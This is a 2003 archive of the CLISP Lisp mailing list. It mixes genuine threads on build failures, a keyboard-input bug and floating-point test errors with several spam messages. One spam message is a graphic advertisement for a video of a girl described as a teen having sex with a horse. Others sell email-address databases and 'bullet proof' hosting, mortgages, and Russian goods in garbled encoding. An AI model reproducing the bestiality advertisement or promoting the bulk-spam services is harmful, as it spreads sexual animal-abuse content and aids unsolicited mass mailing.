<200307012326.h61NQb4M014571@garfield.bmk.com.au> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 2 06:13:02 2003 X-Original-Date: 02 Jul 2003 09:11:57 -0400 > * In message <200307012326.h61NQb4M014571@garfield.bmk.com.au> > * On the subject of "[clisp-list] problem making clisp-2.30 on old version of FreeBSD continued..." > * Sent on Wed, 2 Jul 2003 09:26:43 +1000 (EST) > * Honorable "M.K." writes: > > I have now progressed in my attempt to build clisp 2.30 on FreeBSD 3.4 > and I have managed to get past the error relating to readline. I am > now getting a new error when running make which is: > > In file included from lisparit.d:41 > ffloat.d:596 parse error > In file included from lisparit.d:42 > dfloat.d:1157 parse error > *** Error code 1 > Stop. could you please look at the lines in question? what exactly triggers the error? gcc --version? could you please try cvs head? -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't have an attitude problem. You have a perception problem. From samuel.steingold@verizon.net Wed Jul 02 07:36:30 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Xiii-0006bg-00 for ; Wed, 02 Jul 2003 07:36:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h62EaLT08302; Wed, 2 Jul 2003 10:36:21 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Douglas Philips Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-char-no-hang broken? References: <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 2 07:37:03 2003 X-Original-Date: 02 Jul 2003 10:36:21 -0400 > * In message <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> > * On the subject of "Re: [clisp-list] read-char-no-hang broken?" > * Sent on Tue, 1 Jul 2003 18:00:25 -0400 > * Honorable Douglas Philips writes: > > What I've noticed/been-highly-irritated by is that that when I use > (ext:with-keyboard > ... > ... (read-char-no-hang ext:*keyboard-input*) > ...) > It indeed doesn't hang so long as I don't type anything. But the first > character I type not only causes it to hang, but is never returned! > read-char on ext:*keyboard-input* doesn't seem to have this problem. > Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30 > (Red Hat 8 and Red Hat 9) I cannot reproduce this on win32, either with mingw or with cygwin builds, using cvs head. could you please try cvs head? -- Sam Steingold (http://www.podval.org/~sds) running w2k Cannot handle the fatal error due to a fatal error in the fatal error handler. From lisp-clisp-list@m.gmane.org Wed Jul 02 11:44:01 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XmaF-0005I8-00 for ; Wed, 02 Jul 2003 11:43:59 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19XmZg-0001o0-00 for ; Wed, 02 Jul 2003 20:43:24 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19XmZe-0001na-00 for ; Wed, 02 Jul 2003 20:43:22 +0200 From: Sam Steingold Organization: disorganization Lines: 18 Message-ID: References: <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: read-char-no-hang broken? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 2 11:44:30 2003 X-Original-Date: 02 Jul 2003 14:43:54 -0400 > * In message <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> > * On the subject of "read-char-no-hang broken?" > * Sent on Tue, 1 Jul 2003 18:00:25 -0400 > * Honorable Douglas Philips writes: > > Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30 > (Red Hat 8 and Red Hat 9) I cannot reproduce it with the current cvs head on FreeBSD 4.7-RELEASE-p3 i386 Linux 2.4.21-pre7-ac1 #1 SMP i686 -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 10 kinds of people: those who count in binary and those who do not. From 60092118bza@beanmoving.com Wed Jul 02 20:42:33 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19XuzL-00036d-00; Wed, 02 Jul 2003 20:42:27 -0700 Received: from 233.red-80-34-194.pooles.rima-tde.net ([80.34.194.233]:31467) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19XuzD-0004ay-6q; Wed, 02 Jul 2003 20:42:19 -0700 Received: from g98o.mggvf.com [57.173.72.48] by 233.Red-80-34-194.pooles.rima-tde.net SMTP id iJbp9Nr3kai0l7; Thu, 03 Jul 2003 02:31:22 -0200 Message-ID: From: "Jeanine Benton" <60092118bza@beanmoving.com> To: clisp-devel@lists.sourceforge.net Cc: , , , X-Mailer: Microsoft Outlook Express 5.50.4522.1200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="3.25.2.A3__679A" X-Priority: 3 X-MSMail-Priority: Normal X-EA-Verified: externalmx.vasoftware.com 19XuzD-0004ay-6q 4b6fa680b60d3068ca863b2d0811a75f X-Spam-Score: 15.1 Subject: [clisp-list] re:[1] Please Complete and Reaturn lpqy xebu a Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 2 20:43:04 2003 X-Original-Date: Thu, 03 Jul 03 02:31:22 GMT This is a multi-part message in MIME format. --3.25.2.A3__679A Content-Type: text/html; Content-Transfer-Encoding: quoted-printable

www.lender-search.biz

Hello, I just got a 30 fixed mortgage at 4.875%. I found

this website online where lenders compete for your business.

I thought maybe you want to take a look.

www.lender-search.biz

Thanks

Jennifer Swanson 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to be taken off: take me= off

fiddfw ftq m awzsbahxdn uyfbcy --3.25.2.A3__679A-- From plpvgcsjqu@clickweb.bz Thu Jul 03 10:02:36 2003 Received: from [63.144.58.16] (helo=mail16.littlesinger.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Y7Te-0000iW-00 for ; Thu, 03 Jul 2003 10:02:35 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <1057245041.2680@mail16.littlesinger.com> X-Mailer: Mozilla 4.75 [de] (WinNT; U) From: plsmysphjs@clickweb.bz Subject: [clisp-list] I cannot believe a 18 years old girl can handle a horses cock in her pussy! Watch this clip! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 3 10:03:12 2003 X-Original-Date: Thu, 3 Jul 2003 11:10:41 -0500 You think you have seen some pretty crazy porn on the internet? YOU HAVEN'T SEEN SHIT! I saw the most unbelievable movie clip ever to grace the internet! These guys put up a clip of a beautiful teen farm girl who actually fucks her horse! NO BULLSHIT, SHE ACTUALLY FUCKS A HORSE WITH A 20+ INCH COCK! ( can't tell you the exact size cuz that's part of the game ) THE MOVIE QUALITY IS GREAT AND HAS SOUND TOO! IT IS UNBELIEVABLE! http://www.xtrameg.com/farm5/ THIS LITTLE SLUTS CAN REALLY HANDLE A GIANT HORSE COCK IN HER TIGHT LITTLE TEEN PUSSY LIKE YOU WOULD NOT BELIEVE! YOU HAV TO WATCH THIS CLIP BEFORE SOMEONE FINDS IT AND TAKE IT OFF. HERES THE GOOD PART. THESE GUYS AREN'T A NORMAL PORN SITE SO THEY DON'T WANT MONEY TO LET US WATCH SO ITS FREE. BUT WHAT THEY DO IS MAKE YOU TAKE THIS TEST THAT ASKS HOW BIG A HORSE DICK IS. THAT'S SOMETHING THAT ONLY PEOPLE INTO ANIMAL SEX WOULD KNOW. SO I THINK THEY ARE JUST TRYING TO MAKE SURE YOU ARE SOMEONE WHOS INTO THIS STUFF..NOT SOMEONE WHO WANTS TO BUST THEM. SO IF YOU'RE LIKE ME AND DON'T KNOW ANYTHING ABOUT ANIMALS JUST GUESS THE SIZE. THERE ARE ONLY 3 CHOICES AND IF YOU GET IT RIGHT YOU'RE IN. YOU GET TO WATCH THE WHOLE CLIP..AND HEY DO NOT FORGET TO SAVE IT CUZ YOU'LL WANT TO WATCH IT AGAIN OR SHOW IT TO YOUR FRIENDS LATER! http://www.xtrameg.com/farm5/ CLICK ON THE LINK TO WATCH THIS LITTLE SLUT FUCK HER HORSE FOR 8 MINUTES! DO NOT FORGET TO SAVE IT SO YOU CAN WATCH IT AGAIN LATER! pyvfc-yvfg^yvfgf(fbheprsbetr(arg From djelweh1443fanrooy@yahoo.com Thu Jul 03 10:16:08 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19Y7gk-0000xh-00 for ; Thu, 03 Jul 2003 10:16:06 -0700 Received: from h-69-3-72-48.phndaz91.covad.net ([69.3.72.48]:2423) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19Y7gW-0003O4-GG for ; Thu, 03 Jul 2003 10:15:55 -0700 Message-ID: <20030722073.3850.qmail@mail.yahoo.com> From: "Peter Severa" To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 X-EA-Verified: externalmx.vasoftware.com 19Y7gW-0003O4-GG 67fa6db15bef005aadcdc2798740ff37 X-Spam-Score: 7.4 Subject: [clisp-list] For http://www.clisp.cons.org Owner ( Bulk Email Sending & Bullet Proof Web Hosting ) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 3 10:17:21 2003 X-Original-Date: Thu, 3 Jul 2003 11:20:58 -0700

Dear http://www.clisp.cons.org Owner,

We offer you e-mail addresses databases for advertisement
mailing; we sell databases also carry out mailing and hosting
for the advertising projects.
We can work on a turnkey project create a site with original design,
program and subject contents. Our databases are being updated constantly
with the e-mail addresses from all over the world.

Their validity and originality are verified. Today they contain over
than 50 million addresses.
We use our own mailing soft which can be ideally adjusted for every
customer. We have a high-speed channel and a high power servers.

The constant of our service demand allows us to keep low prices.

http://61.83.168.172/e-mailpromo/

Please, feel free to contact us anytime!
We'll be happy to answer every your question!

http://61.83.168.172/e-mailpromo/

Best regards,
Peter Severa

From 27umoml@email.com Thu Jul 03 12:38:53 2003 Received: from [62.168.65.234] (helo=62.168.65.234) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Y9uu-0004yX-00 for ; Thu, 03 Jul 2003 12:38:52 -0700 From: 237907@aol.com X-Mailer: The Bat! (v1.61) Personal Reply-To: 237907@hotmail.com Organization: 205982279 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list]  ñâÿçè ñ çàêðûòèåì ñêëàäà ðàñïðîäàåì ìîáèëüíûå òåëåôîíû. Äîñòàâêà ïî Ìîñêâå. 237907 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 3 12:39:07 2003 X-Original-Date: Thu, 03 Jul 2003 15:38:11 -0400 Untitled  ñâÿçè ñ çàêðûòèåì ñêëàäà ðàñïðîäàåì ìîáèëüíûå òåëåôîíû. Äîñòàâêà ïî Ìîñêâå.
Òåë. (095) 109-46-00, 517-14-32

Ìîäåëü Öåíà, USD Îïèñàíèå
panasonic gd 55 180$ ÷èòàòü
siemens s55 275$ êàìåðà 80$ êàáåëü 15$ ÷èòàòü
siemens sl55 530$ ÷èòàòü
nokia 7210 265$ ÷èòàòü
nokia 8910 385$ ÷èòàòü
nokia 8910i 690$ ÷èòàòü
sony ericsson t610 470$ ÷èòàòü
vk mobile cg100 210$ ÷èòàòü
samsung a800 225$ ÷èòàòü
trium eclipse 109$ ÷èòàòü
motorola T720i 215$ ÷èòàòü

Ðàñïðîäàæà òåëåôîíîâ ñ ïîäêëþ÷åíèåì:
trium mars +ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2000ðóá.
motorola v2288+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2418ðóá.
motorola v50+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4278ðóá.
motorola t192+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2350ðóá.
motorola c350+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4860ðóá.
motorola t190+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2700ðóá.
motorola t191+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3470ðóá.
siemens a50+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2945ðóá
siemens a55+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3650ðóá
siemens c55+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4580ðóá
lg W3000+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4099ðóá
lg b1200+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3349ðóá


Òåë. (095) 109-46-00, 517-14-32 C6CEFB3-6E1A1832-1560C9E0-7C47E1AE-585878AE * 212BFE01-5FE08A1E-38623BEC-7C893E7D-1139EE8F ****************** 7F0D89E2-71216AB-559F535E-118107F-5852BC07 From 9p9t84@mail.com Thu Jul 03 15:47:26 2003 Received: from [212.248.16.230] (helo=212.248.16.230) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19YCrN-0007oE-00 for ; Thu, 03 Jul 2003 15:47:26 -0700 From: 237910@mail.com X-Mailer: KMail [version 1.3.1] Reply-To: 237910@msn.com Organization: 96814966 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Í à ò ÿ æ í û å ï î ò î ë ê è 237910 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 3 15:48:03 2003 X-Original-Date: Thu, 03 Jul 2003 18:46:52 -0400

Í à ò ÿ æ í û å ï î ò î ë ê è
òåë. 518-67-16

Ïîñìîòðèòå íà ñâîé ïîòîëîê:
- îí âàñ íå óñòðàèâàåò?
- âàì õîòåëîñü áû ñêðûòü òðåùèíû, ïÿòíà èëè äðóãèå äåôåêòû, ýëåêòðîïðîâîäêó, òðóáû è ñòðîèòåëüíûå êîíñòðóêöèè?
- âàì íàäîåëè áåñêîíå÷íûå ïðîòå÷êè?
- íàïðÿãàþò ýòè âå÷íûå ïîáåëêè-ïîêðàñêè?
- õîòåëîñü áû ÷åãî-íèáóäü íîâîãî, ÷åãî-íèáóäü îðèãèíàëüíîãî?
Ñîâðåìåííûå òåõíîëîãèè ïðåäîñòàâëÿþò âîçìîæíîñòü ðåàëèçîâàòü ëþáûå âàøè ïðèõîòè â êðàò÷àéøèå ñðîêè è ñ ìèíèìàëüíûìè íåóäîáñòâàìè - ñ ïðèìåíåíèåì íàòÿæíûõ ïîòîëêîâ. Íåêîãäà çåðêàëüíûå ïîòîëêè è ñòåíû ñ÷èòàëèñü ñèìâîëîì êîðîëåâñêîé ðîñêîøè. Òàêèìè, íàïðèìåð, áûëè èíòåðüåðû äâîðöà Ñàí-Ñóñè.

Ñåãîäíÿ Ðîññèéñêàÿ êîìïàíèÿ "Ïðåñòèæ Äèçàéí Èíòåðüåð" ïðåäëàãàåò íà Ìîñêîâñêîì ðûíêå íàèáîëåå îïòèìàëüíûå öåíû íà ñâîþ ïðîäóêöèþ.
Îáëàäàÿ íîâåéøèì âûñîêîòåõíîëîãè÷íûì îáîðóäîâàíèåì, ïîçâîëÿþùèì ïðîèçâîäèòü ñâàðêó ÏÂÕ ïîëîòíà ñ âûñî÷àéøèì êà÷åñòâîì øâîâ, êîìïàíèÿ "Ïðåñòèæ Äèçàéí Èíòåðüåð" ñîñòàâèëà ðåàëüíóþ êîíêóðåíöèþ ôðàíöóçñêèì ïðîèçâîäèòåëÿì ïîäîáíîé ïðîäóêöèè.
Êà÷åñòâî íàøåé ïðîäóêöèè íå îòëè÷àåòñÿ îò èçäåëèé èçâåñòíîé ôèðìû "Áàððèññîëü", ñðîêè ïðîèçâîäñòâà è ìîíòàæà – îò 3-õ äíåé, îñíîâíîé äåâèç íàøåé êîìïàíèè - "ñäåëàåì ïðåêðàñíîå äîñòóïíûì".  ïðîèçâîäñòâå èñïîëüçóþòñÿ îðèãèíàëüíûå ôðàíöóçñêèå ïëåíêè ÏÂÕ è äðóãèå êîìïëåêòóþùèå.
Íàðÿäó ñ ôðàíöóçñêèìè ïëåíêàìè, ïðîèçâîäèòñÿ ìîíòàæ ïëåíîê ðîññèéñêîãî ïðîèçâîäñòâà ñ èñïîëüçîâàíèåì îðèãèíàëüíîé ãàðïóííîé òåõíîëîãèè, öåíà ïðîäóêöèè ñ èñïîëüçîâàíèåì ðîññèéñêèõ ïëåíîê äîñòóïíà øèðîêîìó ïîòðåáèòåëþ.

Íàïðèìåð:

- ñàòèí (Ôðàíöèÿ) - îò 15 ó.å. çà êâ.ì.
- ãëÿíöåâûé öâåòíîé (Ôðàíöèÿ) - îò 24 ó.å. çà êâ.ì.
- ìàòîâûé áåëûé, ïåðñèêîâûé, ãîëóáîé (Ðîññèÿ) - îò 14 ó.å. çà êâ.ì.

Ïîëíûé ïðàéñ âû ìîæåòå ïîñìîòðåòü íà íàøåì ñàéòå!

Èíòåðüåðû ñ èñïîëüçîâàíèåì íàøåé òåõíîëîãèè Âû ìîæåòå óâèäåòü â ôîòîêàòàëîãå
òàêæå Âàì áóäåò èíòåðåñíî îçíàêîìèòüñÿ ñ ïðåäëîæåíèåì áîëåå 140 öâåòîâ è îòòåíêîâ

 

Í à ò ÿ æ í û å ï î ò î ë ê è
òåë. 518-67-16

237910 77C4A1E8-77EDCD5A-603E0CA7-30FDCD8D-1C2BBD34 770020662 From fommil@yahoo.ie Fri Jul 04 16:38:00 2003 Received: from smtp018.mail.yahoo.com ([216.136.174.115]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Ya7s-0007Yd-00 for ; Fri, 04 Jul 2003 16:38:00 -0700 Received: from 82-41-204-4.cable.ubr11.edin.blueyonder.co.uk (fommil@82.41.204.4 with login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 4 Jul 2003 23:37:59 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Message-Id: <20030705003758.6a456e27.fommil@yahoo.ie> X-Mailer: GNU/Linux Sylpheed Claws 0.9.0 X-Operating-System: GNU/Linux from Scratch Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="=.LZPO2Ty+O?y5S/" Subject: [clisp-list] catch 22 compiling clisp for maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 4 16:38:09 2003 X-Original-Date: Sat, 5 Jul 2003 00:37:58 +0100 --=.LZPO2Ty+O?y5S/ Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit hello there, i have found myself in a bit of a catch 22 with regards installing clisp. i have gcc-3.2.3 on GNU/Linux and wish to compile clisp so that i can use the maxima symbolic math package; they recommend (from http://glue.umd.edu/~milgram/maxima/faq.html#Lisp0) There are currently unresolved problems with floating point numbers in Maxima with clisp 2.30. 2.29 is recommended. so i got 2.29 and tried to compile it... lots of compile errors, so i thought "bugger it, ill just get 2.30 and hope all is well with mild compile flags..." i compiled clisp-2.30 with ./configure --with-readline --with-dynamic-ffi \ --with-dynamic-modules --with-export-syscalls \ --with-module=regexp --without-debug \ --build mysrc and sure enough, the make check failed on several floating point related tests: cat mysrc/suite/*.erg ######################## Form: (TEST-POS-EPSILON DOUBLE-FLOAT-EPSILON) CORRECT: T CLISP: NIL Form: (TEST-NEG-EPSILON DOUBLE-FLOAT-NEGATIVE-EPSILON) CORRECT: T CLISP: NIL Form: (CHECK-EPS DOUBLE-FLOAT-EPSILON #'TEST-POS-EPSILON) CORRECT: T CLISP: NIL Form: (CHECK-EPS DOUBLE-FLOAT-NEGATIVE-EPSILON #'TEST-NEG-EPSILON) CORRECT: T CLISP: NIL ######################## so i seen bug 726433 and realised i already was trying the workaround (not using debugging), so no help there then. thinking this might be a gcc bug, i tried passing "CC="/path/to/my/old/gcc" ./configure ...", but the configure script is not able to handle that and thinks my older gcc-2.95.3 cannot make executables (i know it can). i also tried the build without any of those configure options. i then downloaded the CVS version from today, and got THIS ######################## 0 errors, 0 warnings cmp -s init.fas stage/init.fas || (echo "Test failed." ; exit 1) cmp -s defseq.fas stage/defseq.fas || (echo "Test failed." ; exit 1) cmp -s backquote.fas stage/backquote.fas || (echo "Test failed." ; exit 1) cmp -s defmacro.fas stage/defmacro.fas || (echo "Test failed." ; exit 1) cmp -s macros1.fas stage/macros1.fas || (echo "Test failed." ; exit 1) cmp -s macros2.fas stage/macros2.fas || (echo "Test failed." ; exit 1) cmp -s defs1.fas stage/defs1.fas || (echo "Test failed." ; exit 1) cmp -s timezone.fas stage/timezone.fas || (echo "Test failed." ; exit 1) cmp -s places.fas stage/places.fas || (echo "Test failed." ; exit 1) cmp -s floatprint.fas stage/floatprint.fas || (echo "Test failed." ; exit 1) cmp -s type.fas stage/type.fas || (echo "Test failed." ; exit 1) cmp -s defstruct.fas stage/defstruct.fas || (echo "Test failed." ; exit 1) cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit 1) Test failed. make: *** [test] Error 1 ######################## and since the alternative lisp compiler (gcl) has the most immense dependency list ever (which i am not willing to satisfy), i am stuck with several source tarballs of clisp which are either not able to compile, or run maxima. does anyone have a patch (against clisp-2.30 or gcc-3.2.3) which fixes this floating point business? if there is an easy fix, can i suggest maybe a bugfix release? two last compile-related things... i also got a build fail if i wanted to build the wildcard module, newer glibc versions dont seem to like the _GLIBC macro being defined. [why should i be building this module if my c library already has wildcard anyway? same goes for regex]. and the bindings/linuxlibc6 module build fails as errno.h needs to be included in some places. i tried hacking a build with CC="$CC -include errno.h" but that broke some of the rest of the clisp compile. cheers, Sam -- ADA: Something you need only know the name of to be an Expert in Computing. Useful in sentences like, "We had better develop an ADA awareness. -- "Datamation", January 15, 1984 --=.LZPO2Ty+O?y5S/ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/Bg/W3qTuwoWzAjMRAtL4AKCm6lty+TSTQFg1oDpQ5DyljO8UZgCdGxHn zatyg/VlDHRfMqEdr7DuyHg= =ogMI -----END PGP SIGNATURE----- --=.LZPO2Ty+O?y5S/-- From dgou@mac.com Sun Jul 06 08:33:01 2003 Received: from smtpout.mac.com ([17.250.248.97]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZBVc-0000Ae-00 for ; Sun, 06 Jul 2003 08:33:00 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h66FWwad021032; Sun, 6 Jul 2003 08:32:58 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h66FWKIK012744; Sun, 6 Jul 2003 08:32:58 -0700 (PDT) Subject: Re: [clisp-list] Re: read-char-no-hang broken? Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Douglas Philips To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <091BB773-AFC7-11D7-98B1-000393030214@mac.com> X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jul 6 08:33:06 2003 X-Original-Date: Sun, 6 Jul 2003 11:32:21 -0400 >> * In message <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> >> * On the subject of "read-char-no-hang broken?" >> * Sent on Tue, 1 Jul 2003 18:00:25 -0400 >> * Honorable Douglas Philips writes: >> >> Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30 >> (Red Hat 8 and Red Hat 9) > > I cannot reproduce it with the current cvs head on > FreeBSD 4.7-RELEASE-p3 i386 > Linux 2.4.21-pre7-ac1 #1 SMP i686 Sam, Was able to build cvs head on my RedHat 8 Linux box this AM. The clisp post build tests failed with FFI problems, but I don't care about that right now. I was able to verify your behaviour: IT WORKS!!! On to Jaguar! BTW: Is there a time frame for the next official release (2.31?) If it was mentioned on the list, I guess I missed it. Not a biggie, just curious. Thanks! ; Sun, 06 Jul 2003 17:19:30 -0700 Received: from WINSTEINGOLDLAP ([151.199.17.220]) by out006.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030707001923.ZRNJ16647.out006.verizon.net@WINSTEINGOLDLAP>; Sun, 6 Jul 2003 19:19:23 -0500 To: Sam Halliday Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] catch 22 compiling clisp for maxima References: <20030705003758.6a456e27.fommil@yahoo.ie> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030705003758.6a456e27.fommil@yahoo.ie> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.199.17.220] at Sun, 6 Jul 2003 19:19:22 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jul 6 17:20:12 2003 X-Original-Date: 06 Jul 2003 20:19:24 -0400 > * In message <20030705003758.6a456e27.fommil@yahoo.ie> > * On the subject of "[clisp-list] catch 22 compiling clisp for maxima" > * Sent on Sat, 5 Jul 2003 00:37:58 +0100 > * Honorable Sam Halliday writes: > > i then downloaded the CVS version from today, and got THIS > cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit 1) > Test failed. > make: *** [test] Error 1 